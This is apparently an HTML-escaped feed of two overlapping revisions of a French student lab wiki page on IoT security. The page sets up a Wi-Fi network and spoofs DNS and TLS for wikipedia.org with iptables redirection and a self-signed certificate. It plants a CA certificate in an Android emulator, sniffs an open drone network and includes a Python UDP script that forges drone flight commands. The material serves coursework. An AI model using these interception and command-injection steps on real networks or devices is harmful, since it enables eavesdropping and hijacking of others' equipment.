  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
openssl req -x509 -nodes -days 365 \&lt;br /&gt;
  -newkey rsa:2048 \&lt;br /&gt;
  -keyout /etc/ssl/apache/apache-selfsigned.key \&lt;br /&gt;
  -out /etc/ssl/apache/apache-selfsigned.crt \&lt;br /&gt;
  -subj &amp;quot;/C=FR/ST=Nord/L=Lille/O=Polytech/CN=wikipedia.org&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration Apache ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
&lt;br /&gt;
    DocumentRoot /var/www/html&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
    SSLEngine on&lt;br /&gt;
    SSLCertificateFile /etc/ssl/apache/apache-selfsigned.crt&lt;br /&gt;
    SSLCertificateKeyFile /etc/ssl/apache/apache-selfsigned.key&lt;br /&gt;
&lt;br /&gt;
    ErrorLog ${APACHE_LOG_DIR}/site-error.log&lt;br /&gt;
    CustomLog ${APACHE_LOG_DIR}/site-access.log combined&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
    ServerName wikipedia.org&lt;br /&gt;
    Redirect permanent / https://wikipedia.org/&lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Pour activer ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
a2ensite site-se5.conf&lt;br /&gt;
service apache2 reload&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour véridier l'écoute du port 443&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# ss -tulpn | grep 443&lt;br /&gt;
tcp   LISTEN 0      128                *:443             *:*    users:((&amp;quot;apache2&amp;quot;,pid=5394,fd=6),(&amp;quot;apache2&amp;quot;,pid=5393,fd=6),(&amp;quot;apache2&amp;quot;,pid=5390,fd=6))&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Machine virtuelle android ==&lt;br /&gt;
&lt;br /&gt;
=== Installation de la machine virtuelle Android ===&lt;br /&gt;
&lt;br /&gt;
==== 1ère tentative avec QEMU : Création disque ====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-img create -f qcow2 android.qcow2 16G&lt;br /&gt;
Formatting 'android.qcow2', fmt=qcow2 cluster_size=65536 extended_l2=off compression_type=zlib size=17179869184 lazy_refcounts=off refcount_bits=16&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===== Installation de l'android =====&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64 \&lt;br /&gt;
  -m 4096 \&lt;br /&gt;
  -smp 4 \&lt;br /&gt;
  -enable-kvm \&lt;br /&gt;
  -drive file=android.qcow2,format=qcow2 \&lt;br /&gt;
  -cdrom ~/Downloads/android-x86-9.0-r2.iso \&lt;br /&gt;
  -boot d \&lt;br /&gt;
  -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour lancer l'android : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
qemu-system-x86_64   -m 4096   -smp 4   -enable-kvm   -drive file=android.qcow2,format=qcow2 -net nic -net user&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== 2ème tentative avec Android Studio ====&lt;br /&gt;
&lt;br /&gt;
===== Installation d’Android Studio =====&lt;br /&gt;
J'ai installé Android Studio à partir du site officiel de Google.&lt;br /&gt;
&lt;br /&gt;
Après l’installation, les composants suivants ont été installés via le SDK Manager :&lt;br /&gt;
&lt;br /&gt;
* Android SDK Platform&lt;br /&gt;
* Android SDK Platform-Tools&lt;br /&gt;
* Android Emulator&lt;br /&gt;
&lt;br /&gt;
L’installation du SDK s’est déroulée sans erreur particulière&lt;br /&gt;
&lt;br /&gt;
Puis la création de l'AVD :&lt;br /&gt;
&lt;br /&gt;
* Modèle : Pixel 6 Pro&lt;br /&gt;
* Version : API 31 Android 12&lt;br /&gt;
* Architecture : x86_64 &lt;br /&gt;
&lt;br /&gt;
== Mise en place du certificat ==&lt;br /&gt;
Première tentative avec les commandes suivantes :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb shell avbctl disable-verification&lt;br /&gt;
adb reboot&lt;br /&gt;
adb wait-for-device root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Problèmes rencontrés ===&lt;br /&gt;
&lt;br /&gt;
==== Accès root et système en lecture seule ====&lt;br /&gt;
Même lorsque l’accès ADB était fonctionnel, l’accès root était souvent limité. Les partitions système étaient en lecture seule et les tentatives de remount ('''adb remount''') ou de modification du système échouaient.&lt;br /&gt;
&lt;br /&gt;
=== Résolutions ===&lt;br /&gt;
Démarrage de l'émulateur en Cold Boot avec la commande : &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
emulator -avd Pixel_6_Pro -writable-system -no-snapshot-load&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Puis,&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
adb root&lt;br /&gt;
adb disable-verity&lt;br /&gt;
adb reboot&lt;br /&gt;
adb root&lt;br /&gt;
adb remount&lt;br /&gt;
adb push 500e3c27.0 /system/etc/security/cacerts/&lt;br /&gt;
adb shell chmod 664 /system/etc/security/cacerts/500e3c27.0&lt;br /&gt;
adb reboot&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;L'installation du certificat a été réalisée avec succès. Mais j'ai finalement laissé l'approche par machine virtuelle car le drone agit comme un point d'accès Wi-Fi donc  privilégié l'analyse du trafic réel. J'ai utilisé mon téléphone pour envoyer les commandes de pilotage et l'ordinateur  avec le Wipi et Wireshark pour intercepter et capturer les échanges de paquets entre le téléphone et le drone afin de repérer les octets de directions&lt;br /&gt;
&lt;br /&gt;
== Drone ==&lt;br /&gt;
Utilisation de la carte Wipi&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airmon-ng start wlx40a5efd21166&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
airodump-ng -c 1 wlan0mon&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;40:07:76:C0:20:23  -39        4        0    0   1   65   OPN              WIFI_UFO_2320c0 &amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iwconfig wlan0mon channel 1&lt;br /&gt;
wireshark&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Ici, j'ai mis un filtre pour intercepter les paquets du drône :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* ne garde que les '''donnée''' (Data)&lt;br /&gt;
* ne garde que ce qui passe par '''commandes'''&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wireshark.png|vignette|869x869px|néant]]Avec le filtre &amp;lt;code&amp;gt;wlan.addr == 40:07:76:C0:20:23 &amp;amp;&amp;amp; wlan.fc.type == 2 &amp;amp;&amp;amp; udp.port == 7099&amp;lt;/code&amp;gt; Il y a le flux unidirectionnel émis par le smartphone (&amp;lt;code&amp;gt;192.168.1.100&amp;lt;/code&amp;gt;) vers le drone (&amp;lt;code&amp;gt;192.168.1.1&amp;lt;/code&amp;gt;). Les paquets capturés d'une longueur de 9 octets correspondent aux instructions de vol envoyées.&lt;br /&gt;
&lt;br /&gt;
Sur la trame sélectionnée (&amp;lt;code&amp;gt;03 66 80 80 ba 80 00 3a 99&amp;lt;/code&amp;gt;)  on peut identifier l'en-tête fixe (&amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;), les axes au neutre (&amp;lt;code&amp;gt;0x80&amp;lt;/code&amp;gt;), et la modification du '''4 ème octet''' (&amp;lt;code&amp;gt;0xC0&amp;lt;/code&amp;gt;) qui correspond l'instruction '''&amp;lt;nowiki/&amp;gt;'décoller''''&lt;br /&gt;
&lt;br /&gt;
=== Connexion Zabeth-Drone ===&lt;br /&gt;
Configuration wifi :&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iface wlan1 inet static&lt;br /&gt;
  wireless-essid WIFI_UFO_2320c0&lt;br /&gt;
  address 192.168.1.101/24&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Vérification : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;code&amp;gt;iwconfig&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
wlan1     IEEE 802.11  ESSID:&amp;quot;WIFI_UFO_2320c0&amp;quot;  &lt;br /&gt;
          Mode:Managed  Frequency:2.412 GHz  Access Point: 40:07:76:C0:20:23   &lt;br /&gt;
          Bit Rate=26 Mb/s   Tx-Power=22 dBm   &lt;br /&gt;
          Retry short limit:7   RTS thr:off   Fragment thr:off&lt;br /&gt;
          Encryption key:off&lt;br /&gt;
          Power Management:on&lt;br /&gt;
          Link Quality=63/70  Signal level=-47 dBm  &lt;br /&gt;
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0&lt;br /&gt;
          Tx excessive retries:0  Invalid misc:28   Missed beacon:0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&amp;lt;code&amp;gt;ping 192.168.1.1&amp;lt;/code&amp;gt;&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=8.50 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=9.05 ms&lt;br /&gt;
64 bytes from 192.168.1.1: icmp_seq=3 ttl=255 time=3.33 ms&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Tentatives de control du drône ===&lt;br /&gt;
&lt;br /&gt;
==== Première tentative ====&lt;br /&gt;
À partir des captures Wireshark (voir Figure ci-dessus), j'ai isolé les trames UDP envoyées sur le port 7099. J'ai identifié la structure du paquet (Header &amp;lt;code&amp;gt;03 66&amp;lt;/code&amp;gt;, Footer &amp;lt;code&amp;gt;99&amp;lt;/code&amp;gt;) et les octets correspondant aux axes du joystick&lt;br /&gt;
&lt;br /&gt;
Pour le script de contrôle j'ai tenté de reproduire une commande de décollage : &lt;br /&gt;
&lt;br /&gt;
J'ai supposé un calcul par soustraction  par rapport à la valeur neutre.&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# SOCK_DGRAM = Protocole UDP&lt;br /&gt;
client = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)&lt;br /&gt;
&lt;br /&gt;
# STOP&lt;br /&gt;
# Tout est à 80 Checksum à 00&lt;br /&gt;
# Code : 03 66 80 80 80 80 00 00 99&lt;br /&gt;
cmd_stop = bytes.fromhex(&amp;quot;036680808080000099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# decoller&lt;br /&gt;
# 03 66 : Header&lt;br /&gt;
# 80    : Joystick Gauche&lt;br /&gt;
# C0    : Joystick Gauche&lt;br /&gt;
# 80    : Joystick Droit (Avancer)&lt;br /&gt;
# 80    : Joystick Droit&lt;br /&gt;
# 00    : Boutons&lt;br /&gt;
# 40    : Checksum (C0 - 80 = 40)&lt;br /&gt;
# 99    : Fin&lt;br /&gt;
cmd_decollage = bytes.fromhex(&amp;quot;036680c08080004099&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
# atterissage&lt;br /&gt;
cmd_baisse = bytes.fromhex(&amp;quot;036680008080008099&amp;quot;) # Coupe tout brutalement&lt;br /&gt;
&lt;br /&gt;
try:&lt;br /&gt;
    print(&amp;quot;\ndemarage&amp;quot;)&lt;br /&gt;
&lt;br /&gt;
    print(&amp;quot;decollage&amp;quot;)&lt;br /&gt;
    t_end = time.time() + 3&lt;br /&gt;
    while time.time() &amp;lt; t_end:&lt;br /&gt;
        client.sendto(cmd_decollage, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05) # 20fois/s&lt;br /&gt;
&lt;br /&gt;
    # arret&lt;br /&gt;
    print(&amp;quot;stop&amp;quot;)&lt;br /&gt;
    for i in range(20):&lt;br /&gt;
        client.sendto(cmd_stop, (IP_DRONE, PORT))&lt;br /&gt;
        time.sleep(0.05)&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Cette tentative n'a pas permis de faire décoller le drone. Cela nous a indiqué deux choses : &lt;br /&gt;
&lt;br /&gt;
* le drône réagit bien aux envois de données&lt;br /&gt;
&lt;br /&gt;
* le calcul du Checksum était incorrect (le drone rejetait les paquets) &lt;br /&gt;
* le décollage nécessite peut-être un bouton pour pouvoir decoller&lt;br /&gt;
&lt;br /&gt;
==== Deuxième tentative ====&lt;/div&gt;</summary>
		<author><name>Handrian</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11173</id>
		<title>SE5 IdO sécurité des objets 2025/2026 b3</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=SE5_IdO_s%C3%A9curit%C3%A9_des_objets_2025/2026_b3&amp;diff=11173"/>
		<updated>2026-01-13T16:45:12Z</updated>

		<summary type="html">&lt;p&gt;Handrian : /* Connexion Zabeth-Drone */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=== Création de la machine virtuelle ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE5-handrian --dhcp --bridge=bridgeStudents --dir=/usr/local/xen --size=10GB --dist=daedalus --memory=1024M&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Configuration VM ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
# This file describes the network interfaces available on your system&lt;br /&gt;
&lt;br /&gt;
# and how to activate them. For more information, see interfaces(5).&lt;br /&gt;
&lt;br /&gt;
# The loopback network interface&lt;br /&gt;
&lt;br /&gt;
auto lo&lt;br /&gt;
&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
# The primary network interface&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.26.145.111&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
       gateway 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
       dns-nameservers 172.26.145.251&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
#VLAN411&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
&lt;br /&gt;
       address 172.16.11.0&lt;br /&gt;
&lt;br /&gt;
       netmask 255.255.255.0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Capbreton ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
#  Networking&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
dhcp        = 'dhcp'&lt;br /&gt;
&lt;br /&gt;
vif         = [ 'mac=00:16:3E:1A:68:1E,bridge=bridgeStudents' ,&lt;br /&gt;
&lt;br /&gt;
       'mac=00:16:3E:1A:68:1F,bridge=g3_handrian']&lt;br /&gt;
&lt;br /&gt;
#&lt;br /&gt;
&lt;br /&gt;
Configuration&lt;br /&gt;
&lt;br /&gt;
auto Trunk.411&lt;br /&gt;
&lt;br /&gt;
iface Trunk.411 inet manual&lt;br /&gt;
&lt;br /&gt;
       vlan-raw-device Trunk&lt;br /&gt;
&lt;br /&gt;
       up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
       down ip link set $IFACE down&lt;br /&gt;
&lt;br /&gt;
auto g3_handrian&lt;br /&gt;
&lt;br /&gt;
iface g3_handrian inet manual&lt;br /&gt;
&lt;br /&gt;
   bridge_ports Trunk.411&lt;br /&gt;
&lt;br /&gt;
   up ip link set $IFACE up&lt;br /&gt;
&lt;br /&gt;
   down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Sécurisation WiFi par WPA2-PSK ==&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
dot11 ssid SE5-handrian&lt;br /&gt;
  vlan 411&lt;br /&gt;
  authentication open&lt;br /&gt;
  authentication key-management wpa&lt;br /&gt;
  wpa-psk ascii 0 &amp;quot; &amp;quot;&lt;br /&gt;
  mbssid guest-mode&lt;br /&gt;
exit&lt;br /&gt;
interface Dot11Radio1&lt;br /&gt;
  encryption vlan 411 mode ciphers aes-ccm&lt;br /&gt;
  ssid SE5-handrian&lt;br /&gt;
  mbssid&lt;br /&gt;
  no shutdown&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface Dot11Radio1.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&lt;br /&gt;
interface GigabitEthernet0.411&lt;br /&gt;
  encapsulation dot1Q 411&lt;br /&gt;
  bridge-group 11&lt;br /&gt;
exit&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Pour vérifier :  ap# sh dot11 bssid&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
ap#sh dot11 bssid                                                               &lt;br /&gt;
Interface      BSSID         Guest  SSID                                        &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf0  Yes  SE5-azongo                                   &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf1  Yes  SE5-crhanim                                  &lt;br /&gt;
Dot11Radio1   04da.d2d1.4bf2  Yes  SE5-handrian&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Installer isc-dhcp-server&lt;br /&gt;
&lt;br /&gt;
dans la VM  :  /etc/dhcp/dhcpd.conf&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
subnet 172.16.11.0 netmask 255.255.255.0 {&lt;br /&gt;
  range 172.16.11.100 172.16.11.200;&lt;br /&gt;
  option routers 172.16.11.1;&lt;br /&gt;
  #option routers rtr-239-0-1.example.org, rtr-239-0-2.example.org;&lt;br /&gt;
  option domain-name-servers 172.16.11.1;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;dans /etc/default/isc-dhcp-server : INTERFACESv4=&amp;quot;eth1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
dans /etc/sysctl.conf :  décommenter : net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
sysctl -p /etc/sysctl.conf : pour recharger '''configuration sysctl.'''&lt;br /&gt;
&lt;br /&gt;
sysctl net.ipv4.ip_forward : pour vérifier&lt;br /&gt;
&lt;br /&gt;
== Interception de flux ==&lt;br /&gt;
&lt;br /&gt;
== Redirection par DNS ==&lt;br /&gt;
Modification du fichier  '''/etc/bind/named.conf.local'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wikipedia.org&amp;quot; {&lt;br /&gt;
        type master;&lt;br /&gt;
        file &amp;quot;/etc/bind/db.wikipedia.org&amp;quot;;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;Création de la zone '''db.wikipedia.org'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
$TTL    604800&lt;br /&gt;
@       IN      SOA     ns.wikipedia.org. admin.wikipedia.org. (&lt;br /&gt;
                             10         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
;&lt;br /&gt;
@       IN      NS      ns.wikipedia.org.&lt;br /&gt;
ns      IN      A       172.16.11.1&lt;br /&gt;
@       IN      A       172.16.11.1&lt;br /&gt;
www     IN      A       172.16.11.1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Redirection réseau ==&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-ports 8080&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;'''iptables -t nat -L -n -v'''&amp;lt;syntaxhighlight lang=&amp;quot;c&amp;quot;&amp;gt;&lt;br /&gt;
Chain PREROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    0     0 REDIRECT   6    --  eth0   *       0.0.0.0/0            0.0.0.0/0            tcp dpt:80 redir ports 8080&lt;br /&gt;
&lt;br /&gt;
Chain INPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain OUTPUT (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
&lt;br /&gt;
Chain POSTROUTING (policy ACCEPT 0 packets, 0 bytes)&lt;br /&gt;
 pkts bytes target     prot opt in     out     source               destination         &lt;br /&gt;
    5  1468 MASQUERADE  0    --  *      *       172.16.11.0/24       0.0.0.0/0   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Serveur Apache sécurisé ==&lt;br /&gt;
&lt;br /&gt;
=== Génération du certificat auto-signé Apache ===&lt;br /&gt;
